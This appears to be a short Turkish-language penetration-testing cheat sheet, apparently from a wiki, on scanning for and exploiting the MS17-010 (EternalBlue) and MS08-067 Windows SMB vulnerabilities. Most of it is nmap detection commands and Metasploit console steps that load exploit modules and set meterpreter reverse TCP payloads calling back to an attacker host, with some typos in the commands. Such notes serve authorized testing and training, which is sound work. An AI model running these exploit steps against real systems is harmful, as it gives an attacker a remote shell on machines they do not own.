MS17-010

Nmap ile ms17-010 ve ms08-067 zafiyetine sahip makineleri bulmak ve Exploit Etmek

Öncelikle aşağıdaki nmap komutu ile eternal blue zafiyetine sahip makineler listelenir.
nmap -p445 --script smb-vuln-ms17-010 <target>
Zafiyetli makineler bulunduktan sonra metasploit ile expxloit etmek için aşağıdaki yönergeler uygulanmalıdır.
msf > use exploit/windows/smb/ms17_010_eternalblue.
msf > set payload windows/x64/meterpreter/reverse_tcp
msf > set LPORT L_PORT
msf > set LHOST L_IP
msf > set RHOST R_IP
msf > set RPORT R_PORT
msf > rub
​
ms17-010_psexec metasploit modüle
msf > use windows/smb/ms17_010_psexec
msf > set RHOSTS IP
msf > set payload windows/meterpreter/reverse_tcp_rc4
msf > set RC4PAsSWORD  pass
msf > set LHOST KALI_IP
msf > set LPORT 443
msf > exploit
MS08-67
root@kali:~# nmap -v -p 139,445 --script=smb-vuln-ms08-067 --script-args=unsafe=1 IP

Windows - Previous

ad-101

Next - Windows

SMB

Last modified 2yr ago